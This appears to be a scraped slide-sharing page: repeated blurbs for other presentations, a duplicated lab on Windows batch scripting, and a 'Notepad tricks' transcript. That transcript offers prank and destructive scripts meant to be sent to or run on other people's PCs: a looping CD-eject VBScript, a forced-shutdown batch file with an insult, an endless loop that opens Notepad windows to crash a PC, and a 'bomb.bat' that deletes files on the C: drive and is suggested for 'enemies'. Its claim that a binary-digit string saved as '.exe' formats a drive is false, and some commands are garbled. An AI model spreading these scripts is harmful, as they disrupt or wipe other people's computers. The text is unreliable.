This document provides 10 Notepad tricks and hacks, including creating a CD virus that continuously ejects the CD drive, creating a shutdown virus with a message, crashing a PC by opening many Notepad tabs, and more. However, it warns that the last two tricks involving formatting the hard drive or deleting files should not be tried on one's own computer.
Installation of OpenBiblio on Windows XP using EasyPHPRupesh Kumar
This presentation demonstrates the installation of OpenBiblio Integrated Library Software on Windows XP using EasyPHP (A Windows-Apache-MySQL-PHP Bundle). File size ~1.85 MB.
Installation of OpenBiblio on Windows XP using EasyPHPRupesh Kumar
This presentation demonstrates the installation of OpenBiblio Integrated Library Software on Windows XP using EasyPHP (A Windows-Apache-MySQL-PHP Bundle). File size ~1.85 MB.
Session and cookies knowledge is very important for a web developer. In these slides we are going to explore basics of Sessions and Cookies in PHP. How to create and destroy a session. How to create and destroy a cookie. How sessions and cookies are stored.
WML is basically used in mobile application which is my replaced by HTML5 in smartphones. This is a small demonstration of WML using winwap for windows and it does not require wamp server.
PHP Cookies, Sessions and AuthenticationGerard Sychay
Do you know the difference between the PHP config directives session.gc_maxlifetime and session.cookie_lifetime? Have you wrestled with implementing a “Remember Me” button on your login page? Learn how popular sites, such as Twitter and Facebook, keep you logged in (apparently) forever and the security risks of such methods.
http://github.com/hellogerard/tek11
Max Gallo - You don't know MobX State Tree - Codemotion Milan 2018Codemotion
MobX State Tree is a simple and powerful solution to manage your application state in the Front End, based on MobX. You probably heard about it and maybe you tested it out with an “hello world” project, but... are you using it in production? Reactive Architecture, Model Composition, Mutability and Immutability are just a small subset of all the features that I’m going to walk you through. Join me to find out why MobX State Tree could be your next best friend!
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docxkarlhennesey
Part 4: Scripting and Virtualization (due Week 7)Objectives
1. To learn scripting on Windows and Linux
2. To add virtualization with a Linux distributionStepsPart 1—Windows Scripting
Basic Script: Scripting is useful for small programming projects or quick tasks. Often, these programs are short and meant for small problems. Unlike compiled programming languages, scripting languages are generally interpreted. Batch files or scripts are created to automate tasks and may contain several commands in one file. Scripts can be created in Notepad. These are short files that run each command in sequence at file execution. The windows command-line interface can be used to run scripts.
Below are some commands.
Echo = Displays a message in the batch file
Echo. displays a blank line
@command turns off the display of the current command
@echo off = does not echo back text
cls = clears your screen
:: = Adds comments to your code; this line will not be displayed
Start = used to start a windows application
Creating a Basic Script
cls
@echo off
::Your Name
echo "Creating a data dump file"
ipconfig /all > C:\Scripts\config_info.txt
echo end of script
Open Notepad by going to Start-> All Programs -> Accessories-> Notepad.
Type the above script into Notepad.
Create a directory named Scripts on the C:\ drive. Save this file in the C:\Scripts folder as myscript.cmd.
Do not close your Notepad file. To run, open a command prompt by typing cmd in the Search Programs and Files box when you click the Start button or search for cmd.
Change directory to the C:\Scripts folder by typing the following.
cd c:\Scripts
Then type in the following.
myscript.cmd
The script should run and will create a file.
Use the dir command to see what files are created.
Keep both the Notepad file and the command prompt open for the next step.
You can also shut down a computer from a script. This is helpful for remote shutdown in a networking situation. Add the following commands to your script and save it in Notepad. (Note: The ping command, though normally used for networking, here waits 4 seconds.)
shutdown /s /t 60 /c "Local shutdown in 1 minute!"
ping -w 1000 0.0.0.0 > nul
shutdown /a
echo "Shutdown has been aborted"
Click back to the command prompt.
Type in myscript.cmd to run the script.
You should see the script attempt to shut down, then abort the shutdown.
Keep both your Notepad and command prompt open.
Environment variables are built-in system variables available for all Windows processes describing users, paths, and so on.
Some common environment variables are as follows.
%PATH% = contains a list of directories with executable files, separated by semicolons. To add a path:
SET PATH = %PATH%;C:\Windows\Eclipse
%DATE% and %TIME% = current date and time
%RANDOM% = returns a random number between 0 and 32767
%WINDIR% = points to the windows directory C:\Windows
%PATHEXT% = displays executable file extensions ie .com, .exe, .bat, .cmd, .vbs, .vbe, ...
Session and cookies knowledge is very important for a web developer. In these slides we are going to explore basics of Sessions and Cookies in PHP. How to create and destroy a session. How to create and destroy a cookie. How sessions and cookies are stored.
WML is basically used in mobile application which is my replaced by HTML5 in smartphones. This is a small demonstration of WML using winwap for windows and it does not require wamp server.
PHP Cookies, Sessions and AuthenticationGerard Sychay
Do you know the difference between the PHP config directives session.gc_maxlifetime and session.cookie_lifetime? Have you wrestled with implementing a “Remember Me” button on your login page? Learn how popular sites, such as Twitter and Facebook, keep you logged in (apparently) forever and the security risks of such methods.
http://github.com/hellogerard/tek11
Max Gallo - You don't know MobX State Tree - Codemotion Milan 2018Codemotion
MobX State Tree is a simple and powerful solution to manage your application state in the Front End, based on MobX. You probably heard about it and maybe you tested it out with an “hello world” project, but... are you using it in production? Reactive Architecture, Model Composition, Mutability and Immutability are just a small subset of all the features that I’m going to walk you through. Join me to find out why MobX State Tree could be your next best friend!
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docxkarlhennesey
Part 4: Scripting and Virtualization (due Week 7)Objectives
1. To learn scripting on Windows and Linux
2. To add virtualization with a Linux distributionStepsPart 1—Windows Scripting
Basic Script: Scripting is useful for small programming projects or quick tasks. Often, these programs are short and meant for small problems. Unlike compiled programming languages, scripting languages are generally interpreted. Batch files or scripts are created to automate tasks and may contain several commands in one file. Scripts can be created in Notepad. These are short files that run each command in sequence at file execution. The windows command-line interface can be used to run scripts.
Below are some commands.
Echo = Displays a message in the batch file
Echo. displays a blank line
@command turns off the display of the current command
@echo off = does not echo back text
cls = clears your screen
:: = Adds comments to your code; this line will not be displayed
Start = used to start a windows application
Creating a Basic Script
cls
@echo off
::Your Name
echo "Creating a data dump file"
ipconfig /all > C:\Scripts\config_info.txt
echo end of script
Open Notepad by going to Start-> All Programs -> Accessories-> Notepad.
Type the above script into Notepad.
Create a directory named Scripts on the C:\ drive. Save this file in the C:\Scripts folder as myscript.cmd.
Do not close your Notepad file. To run, open a command prompt by typing cmd in the Search Programs and Files box when you click the Start button or search for cmd.
Change directory to the C:\Scripts folder by typing the following.
cd c:\Scripts
Then type in the following.
myscript.cmd
The script should run and will create a file.
Use the dir command to see what files are created.
Keep both the Notepad file and the command prompt open for the next step.
You can also shut down a computer from a script. This is helpful for remote shutdown in a networking situation. Add the following commands to your script and save it in Notepad. (Note: The ping command, though normally used for networking, here waits 4 seconds.)
shutdown /s /t 60 /c "Local shutdown in 1 minute!"
ping -w 1000 0.0.0.0 > nul
shutdown /a
echo "Shutdown has been aborted"
Click back to the command prompt.
Type in myscript.cmd to run the script.
You should see the script attempt to shut down, then abort the shutdown.
Keep both your Notepad and command prompt open.
Environment variables are built-in system variables available for all Windows processes describing users, paths, and so on.
Some common environment variables are as follows.
%PATH% = contains a list of directories with executable files, separated by semicolons. To add a path:
SET PATH = %PATH%;C:\Windows\Eclipse
%DATE% and %TIME% = current date and time
%RANDOM% = returns a random number between 0 and 32767
%WINDIR% = points to the windows directory C:\Windows
%PATHEXT% = displays executable file extensions ie .com, .exe, .bat, .cmd, .vbs, .vbe, ...
This is the detail guide of MakePython ESP32, With the 12 experiments, the readers will be able to make simple electronic projects with MicroPython on ESP32, and the basic knowledge& setting up of IoT projects.
This is the detailed guide of MakePython ESP32 dev kit, With the 12 experiments, the readers will be able to make simple electronic projects with MicroPython on ESP32, and the basic knowledge& setting up of IoT projects.
Here's the complete guide, how to add a system call to kernel on linux
You can contact me on Gmai
bilal.professional786@gmail.com
You can also contact me on Facebook
https://www.facebook.com/bilalbakhtawar
Cross-platform Desktop Apps development using HTML, CSS, JS with ElectronEsinniobiwa Quareeb
Develop cross platform desktop apps with technologies you love (HTML, CSS and JS), wrap it up, make executable out of it using Electron and make installer using InstallForge
maXbox Starter 42 Multiprocessing Programming Max Kleiner
If the system running your program has multiple processors, you can improve performance by dividing the work into
several threads and letting them run simultaneously on separate processors or cores.
We show the function and examples to work with it!
Wine is a compatibility layer capable of running Windows applications on several POSIX-compliant operating systems, such as Linux (Ubuntu, RedHat, Suse, Debian etc.), OS X, Solaris and Free BSD. Instead of simulating internal Windows logic like a virtual machine or emulator Wine translates and converts API calls from the original Win Exe!
Passwords are used frequently in various computer programs, but sometimes users and administrators forget them. The Ophcrack application is used for recovering passwords. Discover how to use the application and get those passwords back.
Google Calendar is a versatile tool that allows users to manage their schedules and events effectively. With Google Calendar, you can create and organize calendars, set reminders for important events, and share your calendars with others. It also provides features like creating events, inviting attendees, and accessing your calendar from mobile devices. Additionally, Google Calendar allows you to embed calendars in websites or platforms like SlideShare, making it easier for others to view and interact with your schedules.
Building a Raspberry Pi Robot with Dot NET 8, Blazor and SignalR - Slides Onl...Peter Gallagher
In this session delivered at Leeds IoT, I talk about how you can control a 3D printed Robot Arm with a Raspberry Pi, .NET 8, Blazor and SignalR.
I also show how you can use a Unity app on an Meta Quest 3 to control the arm VR too.
You can find the GitHub repo and workshop instructions here;
https://bit.ly/dotnetrobotgithub
Building a Raspberry Pi Robot with Dot NET 8, Blazor and SignalR - Slides Onl...
Tricks to hack notepad
1. Today, I am going to share 10 amazing Notepad Tricks &
Hacks that you can use to get most out of Notepad and
amaze your friends :
1. Create CD Virus from Notepad (continuously
pop out CD Drive)
Open Notepad and Write down below codes:
SET OWMP =
CREATEOBJECT(“WMPLAYER.OCX.7
?)
SET COLCDROMS =
OWMP.CDROMCOLLECTION
DO
IF COLCDROMS.COUNT >= 1 THEN
FOR I = 0 TO COLCDROMS.COUNT –
1
COLCDROMS.ITEM(I).EJECT
NEXT
FOR I = 0 TO COLCDROMS.COUNT –
1
COLCDROMS.ITEM(I).EJECT
2. NEXT
END IF
WSCRIPT.SLEEP 5000
LOOP
Now save the note as “cdvirus.vbs”. Now, if you open this file in your
system, your cd drive will pop-out continuously. You can try this trick on
your friends computer and give him the fright of his life.
The cdvirus.vbs can be closed only by rebooting your Windows PC.
2. Create Notepad Virus that Shutdown your
Friend Computer with Message
Open Notepad and Type:-
@ECHO OFF
SHUTDOWN.EXE -S -T 10
CLS
MSG * I DON’T LIKE YOU SHIT HEAD!
Now save it as “shutdownvirus.bat”. Every time you
open shutdownvirus.bat on your PC, your PC will shut down with a
message stating ‘I Don’t Like You SHIT head.’ This trick is the best one to
scare your friends.
3. Open 100s of Notepad Tabs And Crash Your
Friends PC/Laptop
3. @ECHO OFF
:TOP
START
%SYSTEMROOT%SYSTEM32NOTE
PAD.EXE
GOTO TOP
Save this note as “Unlimitednotepad.bat” and send it to your friends as an
attachment. Enjoy them squirming every time their PC crashes.
4. Create Your Own Personal Diary With Time
& Date With Notepad
This Notepad trick will allow you to create Notepad note in such a format
that whenever you edit your note, it will get saved with date and timestamp
automatically. To do this, follow these steps:
3. Open Notepad
4. Type .LOG in the first line.
5. Save the file as Log.txt
6. Now, write something to the file and it will automatically get saved with edited
date and time.
4. Save the note as “personaldiary.txt”. When you open the file again you will
see the current date and time being inserted automatically after the LOG line.
This will happen automatically every time you
reopen personaldiary.txt and you can keep a diary of sorts with it.
5. Test Your Anti-Virus Software’s Effectiveness
You can also use Notepad to test whether your antivirus is as good as the av
company claims it to be.
Copy the code give below in your Notepad file:
X5O!P%@AP[4PZX54(P^)7CC)7}$EIC
AR-STANDARD-ANTIVIRUS-TEST-
FILE!$H+H*
Save this note as “virus.exe” on your computer and reopen it. If the antivirus
installed on your PC/laptop is good enough it will trigger and flag virus.exe.
If it doesn’t flag the virus.exe automatically put your PC on a scan and check
out whether your antivirus is able to flag it. If not, its time to buy another
anti-virus product.
5. 6. Create Matrix Movie Computer Screen
Effects in Your Computer
Open Notepad and copy the below-mentioned text in your notepad file:
@ECHO OFF
COLOR 02
:START
ECHO %RANDOM% %RANDOM%
%RANDOM% %RANDOM%
%RANDOM% %RANDOM%
%RANDOM% %RANDOM%
%RANDOM% %RANDOM%
GOTO START
Now save the note as”matrix .bat ” in your PC/laptop. Reopen it and enjoy
the Matrix-like effects that appear on your screen.
7. Convert Text Into Audio With This
Notepad Trick
Open Notepad and type
DIM MESSAGE, SAPI
MESSAGE=INPUTBOX(“ENTER
YOUR TEXT FOR CONVERSION–
6. HACKING-TECHWORM”,”HOVER PC
HACKS TEXT-TO-AUDIO
CONVERTER”) SET
SAPI=CREATEOBJECT(“SAPI.SPVOI
CE”) SAPI.SPEAK MESSAGE
Now save this note as “textaudio.vbs” on your computer.
Open textaudio.vbs and hear your PC/laptop speak.
8. Disco Dancing Keyboard Light Trick
Open Notepad and copy the following text as it is.
SET WSHSHELL
=WSCRIPT.CREATEOBJECT(“WSCRI
PT.SHELL”)
DO
WSCRIPT.SLEEP 100
WSHSHELL.SENDKEYS
“{CAPSLOCK}”
WSHSHELL.SENDKEYS
“{NUMLOCK}”
WSHSHELL.SENDKEYS
7. “{SCROLLLOCK}”
LOOP
Now save the note as “disco.vbs” on your PC/laptop. Now
reopen disco.vbs and watch your keyboard turn into disco lights.
Never run the below mentioned two
tricks on your PC/laptop. Running these
files will delete/format your C: Drive.
9. Format Your Whole Hard Disk With This
Notepad Trick
This is really interesting things for you guys, you can format any PC by
executing below file. Open notepad and type the below code in it.
0110011001101111011100100110110
1011000010111010000
100000011000110011101001011100
0010000000101111010100010010111
101011000
Now save it as “Format.exe” or give any name you desire but keep the
extension as .exe. That’s It ! Now just double click on the file (to open it) and
your C: drive will be formatted !
10. Write A Simple Undetectable Virus
8. Like the above trick, this will also delete the contents of your C: Drive. Open
Notepad and copy paste the below text.
@ECHO OFF
DEL C: *.* |Y
And save that as bomb.bat or any other name that you with .bat extension.
When you double-click and open this file, it will start deleting the contents of
your C:
The above two tricks are best to be tried on your enemies.